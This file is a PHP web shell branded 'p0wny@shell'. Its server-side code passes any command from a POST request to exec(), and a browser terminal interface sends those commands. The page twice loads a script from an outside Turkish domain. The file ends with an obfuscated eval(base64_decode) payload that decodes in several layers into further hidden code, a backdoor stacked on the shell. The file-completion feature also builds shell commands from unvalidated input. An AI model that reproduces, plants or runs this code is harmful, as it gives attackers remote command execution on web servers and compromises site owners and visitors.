<?php
function featureShell($cmd, $cwd) {
    $stdout = array();
    if (preg_match("/^\s*cd\s*$/", $cmd)) {
        // pass
    } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
        chdir($cwd);
        preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
        chdir($match[1]);
    } else {
        chdir($cwd);
        exec($cmd, $stdout);
    }
    return array(
        "stdout" => $stdout,
        "cwd" => getcwd()
    );
}
function featurePwd() {
    return array("cwd" => getcwd());
}
function featureHint($fileName, $cwd, $type) {
    chdir($cwd);
    if ($type == 'cmd') {
        $cmd = "compgen -c $fileName";
    } else {
        $cmd = "compgen -f $fileName";
    }
    $cmd = "/bin/bash -c \"$cmd\"";
    $files = explode("\n", shell_exec($cmd));
    return array(
        'files' => $files,
    );
}
if (isset($_GET["feature"])) {
    $response = NULL;
    switch ($_GET["feature"]) {
        case "shell":
            $cmd = $_POST['cmd'];
            if (!preg_match('/2>/', $cmd)) {
                $cmd .= ' 2>&1';
            }
            $response = featureShell($cmd, $_POST["cwd"]);
            break;
        case "pwd":
            $response = featurePwd();
            break;
        case "hint":
            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
    }
    header("Content-Type: application/json");
    echo json_encode($response);
    die();
}
?><!DOCTYPE html>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
<html>

    <head>
        <meta charset="UTF-8" />
        <title>p0wny@shell:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
            }
            #shell {
                background: #222;
                max-width: 800px;
                margin: 50px auto 0 auto;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
            }
            #shell-content {
                height: 500px;
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }
            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }
            @media (max-width: 991px) {
                #shell-logo {
                    display: none;
                }
                html, body, #shell {
                    height: 100%;
                    width: 100%;
                    max-width: none;
                }
                #shell {
                    margin-top: 0;
                }
            }
            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }
            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }
            .shell-prompt > span {
                color: #1BC9E7;
            }
            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
            }
            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }
            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
            }
            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }
            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;
            function _insertCommand(command) {
                eShellContent.innerHTML += "\n\n";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "\n";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }
            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }
            function featureShell(command) {
                _insertCommand(command);
                makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
                    _insertStdout(response.stdout.join("\n"));
                    updateCwd(response.cwd);
                });
            }
            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete
                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("\n"));
                    }
                }
                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );
            }
            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }
            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = response.cwd;
                    _updatePrompt();
                });
            }
            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }
            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }
            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }
            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }
            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }
            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>
<SCRIPT SRC=http://www.r57.gen.tr/yazciz/ciz.js></SCRIPT>
    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</html>
<?php $A9zE1Agm="\x62\141\x73\x65\x36\x34\x5f\144\145\x63\x6f\x64\145";eval($A9zE1Agm("JFBBazZPZFlKWD0iNWM4ZGM3MjMxZjg4NjRhMzllOWYzOWU0YTZjMWY4MWIiOyRLTm0ybzg5YW00PWFycmF5KCk7JEtObTJvODlhbTRbMF09IklEOCtQZTRkYTNiN2ZiYmNlMjM0NWQ3NzcyYjA2NzRhMzE4ZDVEOXdhSEFnSkVsUE9WSnZaRWgyUFNKY2VEWXlYREUwTVZ4NE56TmNlRFkxWEhnek5seDRNelJjZURWbVhERTBORnd4TkRWY2VEWXpYSGcyWmx4NE5qUmNNVFExSWp0bGRtRnNLQ1JKVHpsU2IyUklkaWdpU2tkS2JsTnROWEJrYmxwQ1ZYb3dhVTVYVFRSYVIwMHpUV3BOZUZwcVp6Uk9hbEpvVFhwc2JFOVhXWHBQVjFVd1dWUmFhazFYV1RSTlYwbHBUM2xTUlZkSFdtaGxWVlpyVmtSa1FsQlhSbmxqYlVZMVMiOyRLTm0ybzg5YW00WzFdPSIwTnJOMHBGVWM5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkbGxhYlVZMVVsZFNWVTR3Um1KTlJqQTVTV3RzUlU5RGRGRmFWRkpyV1ZST2FVNHlXbWxaYlU1c1RXcE5NRTVYVVROT2VtTjVXV3BCTWs1NlVtaE5la1UwV2tSV1JVOVlaR2hUUlVadVVUSnNVMkZYU1hwVmJGWnBUVzVTYzFsdGJFSlBWV3hFV1hwS1RtVnRaRFZVYm5CS1pXc3hObEZVUWxCaE1GcERWV3BKYVU5NVVrVlhSMXBvWlZWV2ExWkVaRUpYZWtaa1VGTktUMUV4WkhGVFZGWm9Va2ROTlZwcVFtIjskS05tMm84OWFtNFsyXT0iMVBSR3N4VzhmMTRlNDVmY2VlYTE2N2E1YTM2ZGVkZDRiZWEyNTQzbTFKTlU5SFJtbFBWRVV4VDFkWk1VMVhXbXROUkVrMVRqSlZlVTE2V210YWVsSnNVbFZ3VkZwWE1VZFNiRTEzVjJ4R1RtVnJTblZXVlZwM1lVVjRXV0pITVdwTk1uaERXV3hhYjFWcmNEWmpNbVJFWVZaS2NVbHFjMnRTUm1odFdWaHNSbHBHVVROUlZuTjVXRlF3YVZsVlpFZE5SazVXVlZSb2JVMVVVbXhPUkZadFdUSldiRmxVUlRKT01rVXhXVlJOTWxwSFZtdGFSRkpwV2xkRmVVNVVVWHBhTVVKVVVWYyI7JEtObTJvODlhbTRbM109IjFUYzgxZTcyOGQ5ZDRjMmY2MzZmMDY3Zjg5Y2MxNDg2MmMxWkhaRFpVYlhCdVRVVXhSVkpVVGs1aFYwMHpVMVZHZGxvd1RuQlZibVJxWWxScmQxbHFTazlrYlVwRVVWUnNTbEo1U1RkS1JWSlpXbTFHTlZKWFVsVk9NRVppVFRFd09VbHRlRFpaZW1kNFdsUmplVTlIVVRWYVJGSnFUVzFaTWsxNldtMU5SRmt6V21wbk5Wa3lUWGhPUkdjeVRXMU9hazFzV1hkVE1FNVRXbXhWZDFac1RsZGhNVnBVVmpOc2ExTldXa2RWYkVaV1pWZFNhMU14VGtKaVZYQndVVmQwV1UxVk5VZFciOyRLTm0ybzg5YW00WzRdPSJWM2hlY2NiYzg3ZTRiNWNlMmZlMjgzMDhmZDlmMmE3YmFmM2hVbXhXYzJNeU5HbFBlVkpGVjBkYWFHVlZWbXRXUkdSQ1YzcFNaRkJUU2xSU2JFcHNXVEpPYVZsNlp6TmFWRkpwVGxkT2JFMXRXbXhOYW1kNlRVUm9iVnBFYkcxTmJVVXpXVzFHYlUweFZsWlNhekYxVjBaT1FrOVdRbFZOUjJSTFRXcHNNVk51YkVKTU1HeEVVMjA1YTFOR1NqTlpNM0IyWkd0NE5WTlhaRkJoVlVad1dWVm9VMDFIVGtWSmFuTnJVa1pvYlZsWWJFWmFSbEV6VVZaek1WaFVNR2xpTWswd1dUSkZNIjskS05tMm84OWFtNFs1XT0iRWM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliMXFUVFJaVkVKcFQxUkplazlFU1hkYVIwNXFUbFJCTlZsVVdtMU9lbFUwVGtSc2FXUnJlRFZUVkdSS1VWYzVjbGxWWXpWbGJWSkVVVlJzU2xFeFNtMVdWRUpYVlRGYWNsWnNUbGhsVjFKS1ZtdGFVMVZXWjNkaFJrSldUVlpHZFZkR1VucGFlVWszU2tWU1dWcHRSalZTVjFKVlRqQkdZazVzTURsSmEwNXdWVzV3V2swd2NIZFplbXh0VFVkWk5FOVVWbTFaYW1zMFdWZEpOVTFVVlRWYWFsVjRXbTFSZDAxcWF6TmFWRSI7JEtObTJvODlhbTRbNl09Imw2VG0xU2FsYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmROR1JtNVZSazVDWVRGbmVGUnJXbFppUm5CSFZsZDRlbUpzVmtaaFJrWlpUVlUxUjFaRlZscGliR2hWWXpKa1JHRlZSa3hUYTJOcFQzbFNSVmRIV21obFZWWnJWa1JrUWxkNlpHUlFVMHBoWTBkS1NGWnNXbFpoTWswMVdtcENiVTlFYXpGYWJVazFUMGRHYVU5VVJURlBWMWt4VFZkYWEwMUVTVFZPTWxWNVRYcGFhMlF5WkZGVk1FWnlXVEJvUzJSdFVraFBWM0JwVFc1a2JsUkhiRUpoTWtaSVQxaHdhMUUiOyRLTm0ybzg5YW00WzddPSJ3UmpGVFZVNWM5ZjBmODk1ZmI5OGFiOTE1OWY1MWZkMDI5N2UyMzZkVFpXeHJlbE51UW1wVFJrVXpTV3B6YTFKR2FHMVpXR3hHV2taUk0xRldjelJZVkRCcFUxVkdkbG93VG5CTlZGa3pUMVJCTlUxWFRURlpWR2MwVFVkYWFGcHFXbTFaYWxac1RtcEJORTR5Vm1sTlYwbDVXa2RPVTAxR2NGaGxSM2hoVFRCd2IxbHNWa2RWVms1VVVWUnNTbEV5VW5aYVJXaFRaREpPTm1JeldrMU5hMW96V1ZaTk1VMUdjRmhsUjNoaFRYbEpOMHBGVWxsYWJVWTFVbGRTVlU0d1JtSlBWakE1IjskS05tMm84OWFtNFs4XT0iU1d0d2IxMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNsc1RtaFBSR1J0V21wWk0wOVhSWGxhYWs1c1RucEdhMDlVUlRSTlYwVXlUakpKTTA1VVVYbE5WRWw1V1hwV01sa3lNV3BrYkd4MFQxUkNTMlZWUmpGVFZVNVRZVmRKZWxWc1ZtbE5ibEp6V1cxc1FtUlZiRVJaTTFwcVRXeGFNVmRyVlhoaVIwMTZWRzFuYVU5NVVrVlhSMXBvWlZWV2ExWkVaRUpYZWtWM1dGUXdhVmRxU2xaYVYwNXFXVzFOTkU0eVZUQlphbFpxV2xSS2JWcFVTVFJOZWtFMFdtMVJOVnBxUyI7JEtObTJvODlhbTRbOV09Im1oT01hODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY2twb1dtcE9kVlF6YkVKVE1IQklUVmQ0YWswd05XOVhha3BXV2pGQ1ZGRlhOVk5pVjNoNlYyeE9RMkZHY0VoVmJteGhWMFUxTmxReWJFSmlhMnhFVGtka1MxSjVTVGRLUlZKWldtMUdOVkpYVWxWT01FWmlUVlJHWkZCVFNtRmpSMHBJVm14YVZtRXpZekJPVjAwd1QwZE9hbHBVU214TmJWRXpXbTFLYTFwWFJYaFpWMXBxVGxSR2FrNHlUVEpaVjFGNVRtcGtTbEZYT1c1Uk1teFRZVzFHUkZGVWJFcFNNRFI0V1QiOyRLTm0ybzg5YW00WzEwXT0iSXhOZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNGcHRSbGhPV0VKclVUSmtjbHBGWkZkak1YQllXa2hzV2xaNlJrTkphbk5yVWtab2JWbFliRVphUmxFelVWWnplRTFzTURsSmJGWkdZVE5DVUdWVlJreFhWRkV4V1hwUk5Ga3lUbXhOYlZWNVdrUmtiVmx0VW14WlZFWm9XbTFOTVUxWFRUTlplbHBvV2tSSk1rMHhXalZaYTFrMVpXeHdXVlZ1V21wVFJrWjJVMnRrVDJJd2VFUlJhMUpYVm10d1RsWkVSa05XVm1kNFVXeENWazFXUm5wVFZWRnBUM2xTUlZkSFdtaCI7JEtObTJvODlhbTRbMTFdPSJsVlZaclZrUms0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNlFsZDZSWHBZVkRCcFVsaENVRnBYVG1wWmJVMDBUakpWTUZscVZtcGFWRXB0V2xSSk5FMTZRVFJhYlZFMVdtcEthRTR5U21oYWFrNDFVVlYwV2sweFdqVlphMWsxWld4d1dWVnVXbXBUUmtaMlUydGtUMkl3ZUVSUmExSlhWbXR3VGxaRVJrTldWbWQ0VVd4Q1ZrMVdTa2hWTVZaWFZGTkpOMHBGVWxsYWJVWTFVbGRTVlU0d1JtSk5WRkprVUZOS1UxSnJNWHBUVldSdlRVZFJNRTVYVFRCUFIwNXFXbFJLIjskS05tMm84OWFtNFsxMl09ImJFMXRVVE5hYjQ1YzQ4Y2NlMmUyZDdmYmRlYTFhZmM1MWM3YzZhZDI2VXByV2xkRmVGbFhXbXBPVkVacVRqSk5NbGxYVVhsT2EyaERXbXhzZFZadVFtbFNNVXB0V1RGb1YySkhUblZoTWpsYVYwVndOVmRXYUhKaU1HOTVWRzA1V2xkR1NtMVpWbVJTWW10c1JVbHFjMnRTUm1odFdWaHNSbHBHVVROUlZuTjRUbFl3T1VscVFYSlRWVTVvVDBSa2JWcHFXVE5QVjBWNVdtcE9iRTU2Um10UFZFVTBUVmRGTWs0eVNUTk9WRkY1VFZSSmVWa3hTbkZaVldSSFRVWk9WbFZZVGtwUk0iOyRLTm0ybzg5YW00WzEzXT0ibEYzZWNjYmM4N2U0YjVjZTJmZTI4MzA4ZmQ5ZjJhN2JhZjNWMnhvYjAxRmNEVlJWR3hSWVZWR2NsbHNaRmRsYlUxNVVtMDFZVlV5ZEhkVE1WSjZXakJPZEZScVJXbFBlVkpGVjBkYWFHVlZWbXRXUkdSQ1YzcEZNbGhVTUdsWk1qRTBXbTFOZVUxVVdUTlBWRUUxVFZkTk1WbFVaelJOUjFwb1dtcGFiVmxxVm14T2FrRTBUakpXYVUxWFNYbGFSMDVYVFVkSmVsRnFRa3hSTVVweFdWVk9NMW94UlhoV2JFNVZVbFJzVWxacldUVlZNVXBYVld4YVZtRjZWbFpXVjNSSFZERlZkMSI7JEtObTJvODlhbTRbMTRdPSJkcldsWmhVMGs0NWM0OGNjZTJlMmQ3ZmJkZWExYWZjNTFjN2M2YWQyNjNTa1ZTV1ZwdFJqVlNWMUpWVGpCR1lrMVVaR1JRVTBveldYcFNhbGxVVVhsTmVtaG9UVWRKTlUxcVRUUk5ha0pyV1RKTk1VMUViR2hPYlZrelRsUm5NRTlYU201YVJXaExUVlp3VkdGNlpFcFJXRUp4V2tab1MyTXhaM3BVYlhoclVucHNNMXBGVG01aE1XdDVXak5PU2xKVk5WZFdWM1EwVlVaV1IxVnRXbFpOVlRWT1NXcHphMUpHYUcxWldHeEdXa1pSTTFGV2MzaFBSakE1U1d4bmVGZHJXbFpoTW5oIjskS05tMm84OWFtNFsxNV09IklXWHBhODdmZjY3OWEyZjNlNzFkOTE4MWE2N2I3NTQyMTIyY3NiVTFIV1RSUFZGWnRXV3ByTkZsWFNUVk5WRlUxV21wVmVGcHRVWGROYW1zeldsUkplazV0VWxoV2EwcEhWV3hhU21Nd2JFaFhiV2hwVTBVMWMxTXhVbnBhTUU1d1VWVjBTMU5GY0hOWmVrNVhZekpTUkZGVWJFcFNNRFI0V1RJd2FVOTVVa1ZYUjFwb1pWVldhMVpFWkVKWGVrVTFXRlF3YVdWSFdtRlhSMmh6VjFoc2JtRXhhM2xhTTBKUVpWVkdURmRVVGxkbFYwcEhUMWR3YVZKNmJEWlhiRTV1WVRGcmVWb3oiOyRLTm0ybzg5YW00WzE2XT0iUWxCbFZVMTY3OTA5MWM1YTg4MGZhZjZmYjVlNjA4N2ViMWIyZGNaTVZVaHZNRTlHUVhwUmJUbHFVVEJGT1VscWMydFpiRlY1VFVSSmVrMUVZM2hOUkVFelRrUkZNRTlFTUdsWVNHY3lUV3gzZUU1RVJtTmxSR042V0Vobk1rNVdlRFJOZWxwalpVUk5NRmhJWnpGYWJIZDRUa1JTWTAxVVVURllTR2N5VFRGNE5FNXRXbU5sUkZrd1dFUkZNRTVUU1RkS1JrNU9ZVVJKZDAxcVRYZE9la1YzVFVSak1FMVVVVFJKUkRCblUxUkthV013VWxkTmEzTjVUVVJKZWsxRVkzaE5SRUV6VCI7JEtObTJvODlhbTRbMTddPSJrYzRjYTQyMzhhMGI5MjM4MjBkY2M1MDlhNmY3NTg0OWJSRk1FOURaMnRTUm1odFdWaHNSbHBHVVROUlUzZHJXVzFrUzJKdGJESmthMFpVUzFSMGJXUlhOV3BrUjJ4MlltbENTazF0U25wU1JsbDVVM3BKZDAxcVRYZE9la1YzVFVSak1FMVVVVFJMUTFKb1dsTjNhMkV5VmpWTFUwSTNTVU5TYUdSRU1XaGpia3BvWlZObmNFOTVRbTFpTTBsblMwTlNjRkJVUVRkSlExSndTVVIzWjJNelVubGlSMVoxUzBOU2NscFlhM0JQZVVGcllWTnpja3RUUWpkSlIyeHRTVU5vY0dKdVVqIjskS05tMm84OWFtNFsxOF09IkpaVjNkdlNrYzlmMGY4OTVmYjk4YWI5MTU5ZjUxZmQwMjk3ZTIzNmRkMGJHVldjMnRoVmpCd1VHcEJjRWxJYzJkS1IwWXdWM2xTY0ZoVU1HdGhNbFkxVjNsU2NGaFVjMmRtVTBJNVNVTlNhR1JFTVdoamJrcG9aVlk1TWxsWGVERmFXRTF2U2tkR01FdFVjMmRLU0U0d1kyb3dhVWxxYzJkYWJUbDVTVU5uYTJGVU1IZFBlVUZyWVZOQk9FbEhUblprVnpVd1MwTlNhRnBUYXpkSlExSndTM2x6Y0VsSWMyZGhWMWxuUzBOU2NGQkRRbXBpTTFaMVpFTm5hMWxYVlhCTVZFVndTVU4iOyRLTm0ybzg5YW00WzE5XT0iU2VtUklTWFZRV0U0d1kydzVlVnBZUW5OWlYwNXNTMGN4YTA1VFoydFpXRkppU2tkc1pFdFRkMmRKYVVselNVTlNhRnBXYzJ0aFZqQndUM2xDYkdKSVRteEpRMUo2WkVoSmRWQlRVbWhhVm5OcllWWXdOMGxJTUdkamJWWXdaRmhLZFVsRFVucGtTRWszU1VneGJHUnRSbk5MUTFKcFZsUkpkMDFxVFhkT2VrVjNUVVJqTUUxVVVUUkxRMUpVVkZkbmVVMUVTWHBOUkdONFRVUkJNMDVFUlRCUFEydHdUM2M5UFNJcEtUc2dQejRLUEQ5d2FIQWciOyRjazIwMjMwNzEwMDc0NTI5PSJceDYyXDE0MVx4NzNceDY1XHgzNlx4MzRceDVmXDE0NFwxNDVceDYzXHg2Zlx4NjRcMTQ1IjskemdsMjAyMzA3MTAwNzQ1MjkgPSBSa29TOGhBNTIwMjMwNzEwMDc0NTI5KCRLTm0ybzg5YW00LCRQQWs2T2RZSlgpO2Z1bmN0aW9uIFJrb1M4aEE1MjAyMzA3MTAwNzQ1MjkoJGFlLCRrZXkpIHsgJGF0PWFycmF5KCk7IGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJGtleSk7ICRpKyspIHsgaWYgKGludHZhbCgka2V5WyRpXSk+MCkgeyAkYXRbJGldPSRrZXlbJGldOyB9IH0gJGF0PWFycmF5X3ZhbHVlcygkYXQpOyAkc3RyPSIiOyBmb3IgKCRpPTA7ICRpIDwgY291bnQoJGFlKTsgJGkrKykgeyBpZiAoJGk8IGNvdW50KCRhZSktMSkgJHN0ci49c3RyX3JlcGxhY2UobWQ1KCRhdFskaV0pLCAiIiwgJGFlWyRpXSk7IGVsc2UgJHN0ci49JGFlWyRpXTsgfSByZXR1cm4gJHN0cjsgfWV2YWwoJGNrMjAyMzA3MTAwNzQ1MjkoJHpnbDIwMjMwNzEwMDc0NTI5KSk7")); ?>
